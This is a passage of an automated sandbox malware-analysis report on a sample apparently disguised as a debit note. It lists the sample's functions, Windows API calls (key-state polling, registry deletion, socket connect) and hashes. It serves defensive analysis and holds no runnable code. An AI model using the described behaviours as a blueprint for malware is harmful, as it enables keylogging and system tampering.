                                          • Opcode ID: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
                                          • Instruction ID: 8919579e2c9fc9b2d94c4928dd3202a5bdd7863bc063e44bf2a6fba2f1eed130
                                          • Opcode Fuzzy Hash: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
                                          • Instruction Fuzzy Hash: 2351BF756002049FCB00EFA4C985A9EB7B4EF88304F14856EFD05AB392DB79ED45CB99
                                          Function 00456391 Relevance: 7.6, APIs: 5, Instructions: 130keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCursorPos.USER32(?), ref: 004563A6
                                          • ScreenToClient.USER32(?,?), ref: 004563C3
                                          • GetAsyncKeyState.USER32(?), ref: 00456400
                                          • GetAsyncKeyState.USER32(?), ref: 00456410
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456466
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AsyncState$ClientCursorLongScreenWindow
                                          • String ID:
                                          • API String ID: 3539004672-0
                                          • Opcode ID: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
                                          • Instruction ID: 60090bce41a6de58f2ab96a8453d1e3558661e38fd0c916b19f374a884add038
                                          • Opcode Fuzzy Hash: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
                                          • Instruction Fuzzy Hash: 49414C74504204BBDB24CF65C884EEFBBB8EB46326F60464EFC6593281CB34A944CB68
                                          Function 0047D40F Relevance: 7.6, APIs: 5, Instructions: 120sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D438
                                          • InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D44D
                                          • Sleep.KERNEL32(0000000A), ref: 0047D455
                                          • InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D460
                                          • InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D56A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Interlocked$DecrementIncrement$Sleep
                                          • String ID:
                                          • API String ID: 327565842-0
                                          • Opcode ID: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
                                          • Instruction ID: e00c67d4cb89bf1d5311357fb713975cbca1e0cfcee7190b0451066ade77f289
                                          • Opcode Fuzzy Hash: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
                                          • Instruction Fuzzy Hash: CC412571A002055FEB10DF65CD84AEE7774EF45304B10852EF609A7351E738EE46CB99
                                          Function 0045C3C1 Relevance: 7.6, APIs: 5, Instructions: 118COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C44F
                                          • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C477
                                          • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C4C3
                                          • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C4E7
                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C4F6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: PrivateProfile$SectionWrite$String
                                          • String ID:
                                          • API String ID: 2832842796-0
                                          • Opcode ID: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
                                          • Instruction ID: 1eb5009190fa999c36a74edd43b7bd9b51adbc8f8691a9c3f5840d50e9073e8b
                                          • Opcode Fuzzy Hash: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
                                          • Instruction Fuzzy Hash: D1413075A00209BFDB10EFA1DC85FAAB7A8BF44305F10855EF9049B292DA79EE44CB54
                                          Function 00441C7B Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00441CA9
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00441CDD
                                          • RegCloseKey.ADVAPI32(?), ref: 00441CFE
                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00441D40
                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00441D6E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Enum$CloseDeleteOpen
                                          • String ID:
                                          • API String ID: 2095303065-0
                                          • Opcode ID: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
                                          • Instruction ID: 7ca4c7ada97503ad9332fce322fe5d5fc03c2789ff93db080e75f28165cdf273
                                          • Opcode Fuzzy Hash: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
                                          • Instruction Fuzzy Hash: 69317CB2940108BAEB10DBD4DC85FFEB77CEB49304F04456EF605A7241D774AA858BA8
                                          Function 00436A0B Relevance: 7.6, APIs: 5, Instructions: 103COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00436A24
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: RectWindow
                                          • String ID:
                                          • API String ID: 861336768-0
                                          • Opcode ID: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
                                          • Instruction ID: 0a42da3bb0701689e96ef39581243ed39d97d4ba46bd7cd8c1f057aae640e0d3
                                          • Opcode Fuzzy Hash: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
                                          • Instruction Fuzzy Hash: E531EA7160021EAFDB00DF68D988AAE77A5EB49324F11C62AFD24E7380D774EC11CB90
                                          Function 00449555 Relevance: 7.6, APIs: 5, Instructions: 96windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32 ref: 00449598
                                            • Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636
                                          • SendMessageW.USER32(?,00001074,?,?), ref: 004495F8
                                          • _wcslen.LIBCMT ref: 0044960D
                                          • _wcslen.LIBCMT ref: 0044961A
                                          • SendMessageW.USER32(?,00001074,?,?), ref: 0044964E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$_wcslen$_wcspbrk
                                          • String ID:
                                          • API String ID: 1856069659-0
                                          • Opcode ID: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
                                          • Instruction ID: 683be220b4a5e9d86ccbf412c3bd2f13dbb60120779f28b1c577ab6eeef24407
                                          • Opcode Fuzzy Hash: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
                                          • Instruction Fuzzy Hash: 77318F71A00218ABEB20DF59DC80BDFB374FF94314F10466AFA0497280E7B59D958B94
                                          Function 004478AC Relevance: 7.6, APIs: 5, Instructions: 96windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCursorPos.USER32(?), ref: 004478E2
                                          • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478FC
                                          • DefDlgProcW.USER32(?,0000007B,?,?), ref: 0044791D
                                          • GetCursorPos.USER32(00000000), ref: 0044796A
                                          • TrackPopupMenuEx.USER32(030C6460,00000000,00000000,?,?,00000000), ref: 00447991
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CursorMenuPopupTrack$Proc
                                          • String ID:
                                          • API String ID: 1300944170-0
                                          • Opcode ID: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
                                          • Instruction ID: 8079d3ea29232e2d8a780d7c6517a0c600664366e77620ab1eef72d1e193e80f
                                          • Opcode Fuzzy Hash: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
                                          • Instruction Fuzzy Hash: EF31CF75600108AFE724CF59DC88FABB768EB89310F20455AF94587391C775AC53CBA8
                                          Function 004479A0 Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClientRect.USER32(?,?), ref: 004479CC
                                          • GetCursorPos.USER32(?), ref: 004479D7
                                          • ScreenToClient.USER32(?,?), ref: 004479F3
                                          • WindowFromPoint.USER32(?,?), ref: 00447A34
                                          • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447AAD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Client$CursorFromPointProcRectScreenWindow
                                          • String ID:
                                          • API String ID: 1822080540-0
                                          • Opcode ID: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
                                          • Instruction ID: a7e7621e8492875af53c289f1ad187460d50aec5ad556b3834d9a5cb4abdf121
                                          • Opcode Fuzzy Hash: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
                                          • Instruction Fuzzy Hash: B831A2741082029FE710DF69D884D7FB7A4FB89314F144A1EF850D7291D774E946CBA6
                                          Function 00447BF1 Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00447C5D
                                          • ScreenToClient.USER32(?,?), ref: 00447C7B
                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
                                          • EndPaint.USER32(?,?), ref: 00447D13
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClientPaintRectRectangleScreenViewportWindow
                                          • String ID:
                                          • API String ID: 659298297-0
                                          • Opcode ID: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
                                          • Instruction ID: 3c0582d8bc81ba5dadaaf244cb1f1d3939805113443e317e1f98b5bdeebaec33
                                          • Opcode Fuzzy Hash: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
                                          • Instruction Fuzzy Hash: C33161706043019FE310CF25D8C8F7B7BE8EB86724F144A6EF9A5872A1C774A845DB69
                                          Function 004487EA Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnableWindow.USER32(?,00000000), ref: 00448B5C
                                          • EnableWindow.USER32(?,00000001), ref: 00448B72
                                          • ShowWindow.USER32(?,00000000), ref: 00448BE8
                                          • ShowWindow.USER32(?,00000004), ref: 00448BF4
                                          • EnableWindow.USER32(?,00000001), ref: 00448C09
                                            • Part of subcall function 00440D98: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00440DB8
                                            • Part of subcall function 00440D98: GetWindowLongW.USER32(?,000000F0), ref: 00440DFA
                                            • Part of subcall function 00440D98: GetWindowLongW.USER32(?,000000F0), ref: 00440E3A
                                            • Part of subcall function 00440D98: SendMessageW.USER32(030C1B90,000000F1,00000000,00000000), ref: 00440E6E
                                            • Part of subcall function 00440D98: SendMessageW.USER32(030C1B90,000000F1,00000001,00000000), ref: 00440E9A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$EnableMessageSend$LongShow
                                          • String ID:
                                          • API String ID: 142311417-0
                                          • Opcode ID: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
                                          • Instruction ID: c941ec4e4e3d0536419715940b2668e48b64c275bb9f23e9dd6fd7b29375311a
                                          • Opcode Fuzzy Hash: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
                                          • Instruction Fuzzy Hash: DE21F7B17443805BF7258E24CCC4BAFB7D0EF56345F08482EF98196391DBACA885C75A
                                          Function 004550FC Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
                                          • Instruction ID: af34b986bc09d21a6a739d25b45c5a22770885c200d938a8bd6fc5fff5094107
                                          • Opcode Fuzzy Hash: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
                                          • Instruction Fuzzy Hash: 5921AE75200600DBC710EF29E9D496B77B9EF49362B00466EFE5197392DB34EC09CB69
                                          Function 00445870 Relevance: 7.6, APIs: 5, Instructions: 78windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • IsWindowVisible.USER32(?), ref: 00445879
                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00445893
                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 004458CD
                                          • _wcslen.LIBCMT ref: 004458FB
                                          • CharUpperBuffW.USER32(00000000,00000000), ref: 00445905
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                          • String ID:
                                          • API String ID: 3087257052-0
                                          • Opcode ID: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
                                          • Instruction ID: ced771b0f23340e5f55e8fdbc4e1763ce6d97a07fd0b425722e47bce61cb145a
                                          • Opcode Fuzzy Hash: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
                                          • Instruction Fuzzy Hash: F51136726009017BFB10AB25DC06F9FB78CAF65360F04403AF909D7241EB69ED5983A9
                                          Function 004653C8 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249
                                          • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 004653FE
                                          • WSAGetLastError.WSOCK32(00000000), ref: 0046540D
                                          • connect.WSOCK32(00000000,?,00000010), ref: 00465446
                                          • WSAGetLastError.WSOCK32(00000000), ref: 0046546D
                                          • closesocket.WSOCK32(00000000,00000000), ref: 00465481
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                          • String ID:
                                          • API String ID: 245547762-0
                                          • Opcode ID: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
                                          • Instruction ID: 0a95abeaf907522bb910ccff47ca5b8cdb65f95d12881c86cce1eb50970c9d0a
                                          • Opcode Fuzzy Hash: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
                                          • Instruction Fuzzy Hash: E921F032200510ABD310EF29DC49F6EB7E8EF44725F008A6FF844E72D1DBB4A8418B99
                                          Function 0044719B Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                          Download Yara Rule
                                          APIs
                                          • DeleteObject.GDI32(00000000), ref: 004471D8
                                          • ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                          • SelectObject.GDI32(?,00000000), ref: 00447228
                                          • BeginPath.GDI32(?), ref: 0044723D
                                          • SelectObject.GDI32(?,00000000), ref: 00447266
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Object$Select$BeginCreateDeletePath
                                          • String ID:
                                          • API String ID: 2338827641-0
                                          • Opcode ID: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
                                          • Instruction ID: fd3aca4fc88a528095528039be3f852d236b7ebb9f74560e76bd8f11b15fbd2f
                                          • Opcode Fuzzy Hash: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
                                          • Instruction Fuzzy Hash: 92214F71905204AFEB10DF689D48A9E7FACFB16310F14466BF910D32A1DBB49C85CBAD
